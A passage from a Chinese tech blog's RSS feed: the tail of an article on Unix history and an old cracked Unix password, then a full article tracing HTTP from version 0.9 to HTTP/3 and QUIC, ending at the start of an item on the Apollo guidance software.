Reiser在把Unix移植到了VAX-11机上。</p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"1\">登录名</td>\n<td colspan=\"1\" rowspan=\"1\"><b>哈希串</b></td>\n<td colspan=\"1\" rowspan=\"1\"><b>密码</b></td>\n</tr>\n<tr>\n<td colspan=\"1\" rowspan=\"1\"><code>tbl</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>cBWEbG59spEmM</code></td>\n<td colspan=\"1\" rowspan=\"1\"><code>..pnn521</code></td>\n</tr>\n</tbody>\n</table>\n</li>\n</ul>\n<p>最后，再首尾呼应一下，在我的技术生涯中，Unix文化对我个人的技术观影响是非常大的，<strong>我个人认为 Unix 就像摇滚乐一样，上世纪60年代-80年代，是整个人类最经典最光亮的时代，值得我们每个人向那个时代的人和事致敬！</strong></p>\n<p>————————————————————————</p>\n<p>P.S.</p>\n<p>你可以浏览 Github 的 <a href=\"https://github.com/dspinellis/unix-history-repo/tree/BSD-3-Snapshot-Development\" target=\"_blank\" rel=\"noopener noreferrer\">unix-history-repo</a> 目录（注：本文给的这个链接不在master分支上），这个repo是40年前的代码，涵盖了从1970年创建时的2.5万行内核和26条命令到2017年为止广泛使用的2700万行系统。1.1GB的存储库包含大约一百万次提交和两千多次合并。通过<a href=\"http://www.dmst.aueb.gr/dds/pubs/jrnl/2016-EMPSE-unix-history/html/unix-history.html\" target=\"_blank\" rel=\"noopener noreferrer\">这个链接</a>你可以了解一下这个代码的历史！</p>\n<p>下载这些代码需要你的1.5GB的硬盘空间，你可以查看各个大神写的代码，包括 Ken Thompson 和 Dennis的，以及相关的注释。</p>\n<p>根据这些，你还可以找到 Ken Thompson的 Github账号 <a href=\"https://github.com/ken\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/ken</a> 以及别人为dmr建的github帐号 <a href=\"https://github.com/dmr-1941-2011\">https://github.com/dmr-1941-2011</a></p>\n<p>P.S.S</p>\n<p>下面是一些和Unix相关的维基百科资料</p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/History_of_Unix\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">History of Unix</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Unix_systems\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">List of Unix systems</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Unix_commands\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">List of Unix commands</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Unix_daemons\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">List of Unix daemons</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Research_Unix\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Research Unix</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/BSD_Unix\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Berkeley Software Distribution</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Unix_philosophy\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Unix philosophy</a></li>\n</ul>\n<p>还有Unix的社区：TUHS: The Unix Heritage Society &#8211; <a href=\"http://minnie.tuhs.org/cgi-bin/utree.pl\" rel=\"nofollow\">The Unix Tree</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" alt=\"Unix传奇(上篇)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_title\">Unix传奇(上篇)</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li><li ><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" alt=\"Go语言源码的一个改动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_title\">Go语言源码的一个改动</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19996.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>30</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>HTTP的前世今生</title>\n\t\t<link>https://coolshell.cn/articles/19840.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19840.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 01 Oct 2019 11:21:10 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[HTTP]]></category>\n\t\t<category><![CDATA[QUIC]]></category>\n\t\t<category><![CDATA[TCP]]></category>\n\t\t<category><![CDATA[TLS]]></category>\n\t\t<category><![CDATA[UDP]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19840</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议，是互联网上重要的一个协议，由欧洲核子研究委员会CERN的英国工...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19840.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" />HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议，是互联网上重要的一个协议，由欧洲核子研究委员会CERN的英国工程师 <a title=\"\" href=\"https://en.wikipedia.org/wiki/Tim_Berners-Lee\">Tim Berners-Lee</a> v发明的，同时，他也是WWW的发明人，最初的主要是用于传递通过HTML封装过的数据。在1991年发布了HTTP 0.9版，在1996年发布1.0版，1997年是1.1版，1.1版也是到今天为止传输最广泛的版本（初始<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc2068\" rel=\"nofollow\">RFC 2068</a> 在1997年发布， 然后在1999年被 <a class=\"external text\" href=\"https://tools.ietf.org/html/rfc2616\" rel=\"nofollow\">RFC 2616</a> 取代，再在2014年被 <a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7230\" rel=\"nofollow\">RFC 7230</a> /<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7231\" rel=\"nofollow\">7231</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7232\" rel=\"nofollow\">7232</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7233\" rel=\"nofollow\">7233</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7234\" rel=\"nofollow\">7234</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7235\" rel=\"nofollow\">7235</a>取代），2015年发布了2.0版，其极大的优化了HTTP/1.1的性能和安全性，而2018年发布的3.0版，继续优化HTTP/2，激进地使用UDP取代TCP协议，目前，HTTP/3 在2019年9月26日 被 Chrome，Firefox，和Cloudflare支持，所以我想写下这篇文章，简单地说一下HTTP的前世今生，让大家学到一些知识，并希望可以在推动一下HTTP标准协议的发展。</p>\n<h4>HTTP 0.9 / 1.0</h4>\n<p>0.9和1.0这两个版本，就是最传统的 request &#8211; response的模式了，HTTP 0.9版本的协议简单到极点，请求时，不支持请求头，只支持 <code>GET</code> 方法，没了。HTTP 1.0 扩展了0.9版，其中主要增加了几个变化：</p>\n<p><span id=\"more-19840\"></span></p>\n<ul>\n<li>在请求中加入了HTTP版本号，如：<code>GET /coolshell/index.html HTTP/1.0</code></li>\n<li>HTTP 开始有 header了，不管是request还是response 都有header了。</li>\n<li>增加了HTTP Status Code 标识相关的状态码。</li>\n<li>还有 <code>Content-Type</code> 可以传输其它的文件了。</li>\n</ul>\n<p>我们可以看到，HTTP 1.0 开始让这个协议变得很文明了，一种工程文明。因为：</p>\n<ul>\n<li>一个协议有没有版本管理，是一个工程化的象征。</li>\n<li>header是协议可以说是把元数据和业务数据解耦，也可以说是控制逻辑和业务逻辑的分离。</li>\n<li>Status Code 的出现可以让请求双方以及第三方的监控或管理程序有了统一的认识。最关键是还是控制错误和业务错误的分离。</li>\n</ul>\n<p>（注：国内很多公司HTTP无论对错只返回200，这种把HTTP Status Code 全部抹掉完全是一种工程界的倒退）</p>\n<p>但是，HTTP1.0性能上有一个很大的问题，那就是每请求一个资源都要新建一个TCP链接，而且是串行请求，所以，就算网络变快了，打开网页的速度也还是很慢。所以，HTTP 1.0 应该是一个必需要淘汰的协议了。</p>\n<h4> HTTP/1.1</h4>\n<p>HTTP/1.1 主要解决了HTTP 1.0的网络性能的问题，以及增加了一些新的东西：</p>\n<ul>\n<li>可以设置 <code>keepalive</code> 来让HTTP重用TCP链接，重用TCP链接可以省了每次请求都要在广域网上进行的TCP的三次握手的巨大开销。这是所谓的“<strong>HTTP 长链接</strong>” 或是 “<strong>请求响应式的HTTP 持久链接</strong>”。英文叫 HTTP Persistent connection.</li>\n<li>然后支持pipeline网络传输，只要第一个请求发出去了，不必等其回来，就可以发第二个请求出去，可以减少整体的响应时间。（注：非幂等的POST 方法或是有依赖的请求是不能被pipeline化的）</li>\n<li>支持 Chunked Responses ，也就是说，在Response的时候，不必说明 <code>Content-Length</code> 这样，客户端就不能断连接，直到收到服务端的EOF标识。这种技术又叫 “<strong>服务端Push模型</strong>”，或是 “<strong>服务端Push式的HTTP 持久链接</strong>”</li>\n<li>还增加了 cache control 机制。</li>\n<li>协议头注增加了 Language, Encoding, Type 等等头，让客户端可以跟服务器端进行更多的协商。</li>\n<li>还正式加入了一个很重要的头—— <code><a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Host\" target=\"_blank\" rel=\"noopener noreferrer\">HOST</a></code>这样的话，服务器就知道你要请求哪个网站了。因为可以有多个域名解析到同一个IP上，要区分用户是请求的哪个域名，就需要在HTTP的协议中加入域名的信息，而不是被DNS转换过的IP信息。</li>\n<li>正式加入了 <code>OPTIONS</code> 方法，其主要用于 <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS\" target=\"_blank\" rel=\"noopener noreferrer\">CORS &#8211; Cross Origin Resource Sharing</a> 应用。</li>\n</ul>\n<p>HTTP/1.1应该分成两个时代，一个是2014年前，一个是2014年后，因为2014年HTTP/1.1有了一组RFC（<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7230\" rel=\"nofollow\">7230</a> /<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7231\" rel=\"nofollow\">7231</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7232\" rel=\"nofollow\">7232</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7233\" rel=\"nofollow\">7233</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7234\" rel=\"nofollow\">7234</a>/<a class=\"external text\" href=\"https://tools.ietf.org/html/rfc7235\" rel=\"nofollow\">7235</a>），这组RFC又叫“HTTP/2 预览版”。其中影响HTTP发展的是两个大的需求：</p>\n<ul>\n<li>一个需要是加大了HTTP的安全性，这样就可以让HTTP应用得广泛，比如，使用TLS协议。</li>\n<li>另一个是让HTTP可以支持更多的应用，在HTTP/1.1 下，HTTP已经支持四种网络协议：\n<ul>\n<li>传统的短链接。</li>\n<li>可重用TCP的的长链接模型。</li>\n<li>服务端push的模型。</li>\n<li>WebSocket模型。</li>\n</ul>\n</li>\n</ul>\n<p>自从2005年以来，整个世界的应用API越来多，这些都造就了整个世界在推动HTTP的前进，我们可以看到，<strong>自2014的HTTP/1.1 以来，这个世界基本的应用协议的标准基本上都是向HTTP看齐了，也许2014年前，还有一些专用的RPC协议，但是2014年以后，HTTP协议的增强，让我们实在找不出什么理由不向标准靠拢，还要重新发明轮子了。</strong></p>\n<h4>HTTP/2</h4>\n<p>虽然 HTTP/1.1 已经开始变成应用层通讯协议的一等公民了，但是还是有性能问题，虽然HTTP/1.1 可以重用TCP链接，但是请求还是一个一个串行发的，需要保证其顺序。然而，大量的网页请求中都是些资源类的东西，这些东西占了整个HTTP请求中最多的传输数据量。所以，理论上来说，如果能够并行这些请求，那就会增加更大的网络吞吐和性能。</p>\n<p>另外，HTTP/1.1传输数据时，是以文本的方式，借助耗CPU的zip压缩的方式减少网络带宽，但是耗了前端和后端的CPU。这也是为什么很多RPC协议诟病HTTP的一个原因，就是数据传输的成本比较大。</p>\n<p>其实，在2010年时，Google 就在搞一个实验型的协议，这个协议叫<a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a>，这个协议成为了HTTP/2的基础（也可以说成HTTP/2就是SPDY的复刻）。HTTP/2基本上解决了之前的这些性能问题，其和HTTP/1.1最主要的不同是：</p>\n<ul>\n<li>HTTP/2是一个二进制协议，增加了数据传输的效率。</li>\n<li>HTTP/2是可以在一个TCP链接中并发请求多个HTTP请求，移除了HTTP/1.1中的串行请求。</li>\n<li>HTTP/2会压缩头，如果你同时发出多个请求，他们的头是一样的或是相似的，那么，协议会帮你消除重复的部分。这就是所谓的HPACK算法（参看<a class=\"external mw-magiclink-rfc\" href=\"https://tools.ietf.org/html/rfc7541\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">RFC 7541</a> 附录A）</li>\n<li>HTTP/2允许服务端在客户端放cache，又叫服务端push，也就是说，你没有请求的东西，我服务端可以先送给你放在你的本地缓存中。比如，你请求X，我服务端知道X依赖于Y，虽然你没有的请求Y，但我把把Y跟着X的请求一起返回客户端。</li>\n</ul>\n<p>对于这些性能上的改善，在Medium上有篇文章你可看一下相关的细节说明和测试“<a href=\"https://medium.com/@factoryhr/http-2-the-difference-between-http-1-1-benefits-and-how-to-use-it-38094fa0e95b\" target=\"_blank\" rel=\"noopener noreferrer\">HTTP/2: the difference between HTTP/1.1, benefits and how to use it</a>”</p>\n<p>当然，还需要注意到的是HTTP/2的协议复杂度比之前所有的HTTP协议的复杂度都上升了许多许多，其内部还有很多看不见的东西，比如其需要维护一个“优先级树”来用于来做一些资源和请求的调度和控制。如此复杂的协议，自然会产生一些不同的声音，或是降低协议的可维护和可扩展性。所以也有一些争议。尽管如此，HTTP/2还是很快地被世界所采用。</p>\n<p>HTTP/2 是2015年推出的，其发布后，Google 宣布移除对SPDY的支持，拥抱标准的 HTTP/2。过了一年后，就有8.7%的网站开启了HTTP/2，根据 <a href=\"https://w3techs.com/technologies/details/ce-http2/all/all\" target=\"_blank\" rel=\"noopener noreferrer\">这份报告</a> ，截止至本文发布时（2019年10月1日 ）， 在全世界范围内已经有41%的网站开启了HTTP/2。</p>\n<p>HTTP/2的官方组织在 Github 上维护了一份<a href=\"https://github.com/http2/http2-spec/wiki/Implementations\" target=\"_blank\" rel=\"noopener noreferrer\">各种语言对HTTP/2的实现列表</a>，大家可以去看看。</p>\n<p>我们可以看到，HTTP/2 在性能上对HTTP有质的提高，所以，HTTP/2 被采用的也很快，所以，<strong>如果你在你的公司内负责架构的话，HTTP/2是你一个非常重要的需要推动的一个事，除了因为性能上的问题，推动标准落地也是架构师的主要职责，因为，你企业内部的架构越标准，你可以使用到开源软件，或是开发方式就会越有效率，跟随着工业界的标准的发展，你的企业会非常自然的享受到标准所带来的红利。</strong></p>\n<h4>HTTP/3</h4>\n<p>然而，这个世界没有完美的解决方案，HTTP/2也不例外，其主要的问题是：若干个HTTP的请求在复用一个TCP的连接，底层的TCP协议是不知道上层有多少个HTTP的请求的，所以，一旦发生丢包，造成的问题就是所有的HTTP请求都必需等待这个丢了的包被重传回来，哪怕丢的那个包不是我这个HTTP请求的。因为TCP底层是没有这个知识了。</p>\n<p>这个问题又叫<a href=\"https://en.wikipedia.org/wiki/Head-of-line_blocking\" target=\"_blank\" rel=\"noopener noreferrer\">Head-of-Line Blocking</a>问题，这也是一个比较经典的流量调度的问题。这个问题最早主要的发生的交换机上。下图来自Wikipedia。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2019/10/HOL_blocking.png\" alt=\"\" width=\"423\" height=\"220\" /></p>\n<p>图中，左边的是输入队列，其中的1，2，3，4表示四个队列，四个队列中的1，2，3，4要去的右边的output的端口号。此时，第一个队列和第三个队列都要写右边的第四个端口，然后，一个时刻只能处理一个包，所以，一个队列只能在那等另一个队列写完后。然后，其此时的3号或1号端口是空闲的，而队列中的要去1和3号端号的数据，被第四号端口给block住了。这就是所谓的HOL blocking问题。</p>\n<p>HTTP/1.1中的pipeline中如果有一个请求block了，那么队列后请求也统统被block住了；HTTP/2 多请求复用一个TCP连接，一旦发生丢包，就会block住所有的HTTP请求。这样的问题很讨厌。好像基本无解了。</p>\n<p>是的TCP是无解了，但是UDP是有解的 ！<strong>于是HTTP/3破天荒地把HTTP底层的TCP协议改成了UDP！</strong></p>\n<p>然后又是Google 家的协议进入了标准 &#8211; QUIC （Quick UDP Internet Connections）。接下来是QUIC协议的几个重要的特性，为了讲清楚这些特性，我需要带着问题来讲（注：下面的网络知识，如果你看不懂的话，你需要学习一下《<a href=\"https://book.douban.com/subject/1088054/\" target=\"_blank\" rel=\"noopener noreferrer\">TCP/IP详解</a>》一书（在我写blog的这15年里，这本书推荐了无数次了），或是看一下本站的《<a href=\"https://coolshell.cn/articles/11564.html\">TCP的那些事</a>》。）：</p>\n<ul>\n<li>首先是上面的Head-of-Line blocking问题，在UDP的世界中，这个就没了。这个应该比较好理解，因为UDP不管顺序，不管丢包（当然，QUIC的一个任务是要像TCP的一个稳定，所以QUIC有自己的丢包重传的机制）</li>\n<li>TCP是一个无私的协议，也就是说，如果网络上出现拥塞，大家都会丢包，于是大家都会进入拥塞控制的算法中，这个算法会让所有人都“冷静”下来，然后进入一个“慢启动”的过程，包括在TCP连接建立时，这个慢启动也在，所以导致TCP性能迸发地比较慢。QUIC基于UDP，使用更为激进的方式。同时，QUIC有一套自己的丢包重传和拥塞控制的协，一开始QUIC是重新实现一TCP 的 CUBIC算法，但是随着BBR算法的成熟（BBR也在借鉴CUBIC算法的数学模型），QUIC也可以使用BBR算法。这里，多说几句，<strong>从模型来说，以前的TCP的拥塞控制算法玩的是数学模型，而新型的TCP拥塞控制算法是以BBR为代表的测量模型</strong>，理论上来说，后者会更好，但QUIC的团队在一开始觉得BBR不如CUBIC的算法好，所以没有用。现在的BBR 2.x借鉴了CUBIC数学模型让拥塞控制更公平。这里有文章大家可以一读“<a href=\"https://medium.com/google-cloud/tcp-bbr-magic-dust-for-network-performance-57a5f1ccf437\" target=\"_blank\" rel=\"noopener noreferrer\">TCP BBR : Magic dust for network performance.</a>”</li>\n<li>接下来，现在要建立一个HTTPS的连接，先是TCP的三次握手，然后是TLS的三次握手，要整出六次网络交互，一个链接才建好，虽说HTTP/1.1和HTTP/2的连接复用解决这个问题，但是基于UDP后，UDP也得要实现这个事。于是QUIC直接把TCP的和TLS的合并成了三次握手（对此，在HTTP/2的时候，是否默认开启TLS业内是有争议的，反对派说，TLS在一些情况下是不需要的，比如企业内网的时候，而支持派则说，TLS的那些开销，什么也不算了）。</li>\n</ul>\n<table>\n<tbody>\n<tr>\n<td><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2019/10/http-request-over-tcp-tls@2x-292x300.png\" alt=\"\" width=\"292\" height=\"300\" /></td>\n<td><img decoding=\"async\" loading=\"lazy\" class=\"\" src=\"https://coolshell.cn/wp-content/uploads/2019/10/http-request-over-quic@2x-300x215.png\" alt=\"\" width=\"312\" height=\"227\" /></td>\n</tr>\n</tbody>\n</table>\n<p>&nbsp;</p>\n<p>所以，QUIC是一个在UDP之上的伪TCP +TLS +HTTP/2的多路复用的协议。</p>\n<p>但是对于UDP还是有一些挑战的，这个挑战主要来自互联网上的各种网络设备，这些设备根本不知道是什么QUIC，他们看QUIC就只能看到的就是UDP，所以，在一些情况下，UDP就是有问题的，</p>\n<ul>\n<li>比如在NAT的环境下，如果是TCP的话，NAT路由或是代理服务器，可以通过记录TCP的四元组（源地址、源端口，目标地址，目标端口）来做连接映射的，然而，在UDP的情况下不行了。于是，QUIC引入了个叫connection id的不透明的ID来标识一个链接，用这种业务ID很爽的一个事是，如果你从你的3G/4G的网络切到WiFi网络（或是反过来），你的链接不会断，因为我们用的是connection id，而不是四元组。</li>\n</ul>\n<ul>\n<li>然而就算引用了connection id，也还是会有问题 ，比如一些不够“聪明”的等价路由交换机，这些交换机会通过四元组来做hash把你的请求的IP转到后端的实际的服务器上，然而，他们不懂connection id，只懂四元组，这么导致属于同一个connection id但是四元组不同的网络包就转到了不同的服务器上，这就是导致数据不能传到同一台服务器上，数据不完整，链接只能断了。所以，你需要更聪明的算法（可以参看 Facebook 的 <a href=\"https://github.com/facebookincubator/katran\" target=\"_blank\" rel=\"noopener noreferrer\">Katran</a> 开源项目 ）</li>\n</ul>\n<p>好了，就算搞定上面的东西，还有一些业务层的事没解，这个事就是 HTTP/2的头压缩算法 HPACK，HPACK需要维护一个动态的字典表来分析请求的头中哪些是重复的，HPACK的这个数据结构需要在encoder和decoder端同步这个东西。在TCP上，这种同步是透明的，然而在UDP上这个事不好干了。所以，这个事也必需要重新设计了，基于QUIC的QPACK就出来了，利用两个附加的QUIC steam，一个用来发送这个字典表的更新给对方，另一个用来ack对方发过来的update。</p>\n<p>目前看下来，HTTP/3目前看上去没有太多的协议业务逻辑上的东西，更多是HTTP/2 + QUIC协议。但，HTTP/3 因为动到了底层协议，所以，在普及方面上可能会比 HTTP/2要慢的多的多。但是，可以看到QUIC协议的强大，细思及恐，QUIC这个协议真对TCP是个威胁，如果QUIC成熟了，TCP是不是会有可能成为历史呢？</p>\n<p>未来十年，让我们看看UDP是否能够逆袭TCP……</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/22263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\" alt=\"从一次经历谈 TIME_WAIT 的那些事\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22263.html\" class=\"wp_rp_title\">从一次经历谈 TIME_WAIT 的那些事</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" alt=\"TCP 的那些事儿（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_title\">TCP 的那些事儿（下）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/19840.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>77</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>50年前的登月程序和程序员有多硬核</title>\n\t\t<link>https://coolshell.cn/articles/19612.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/19612.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 21 Jul 2019 11:00:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=19612</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2019年7月20日，是有纪念意义的一天，这天不是因为广大网民帮周杰伦在新浪微博上的超话刷到第一，而是阿波罗登月的50周年的纪念日。早在几年前，在Github上...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/19612.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async 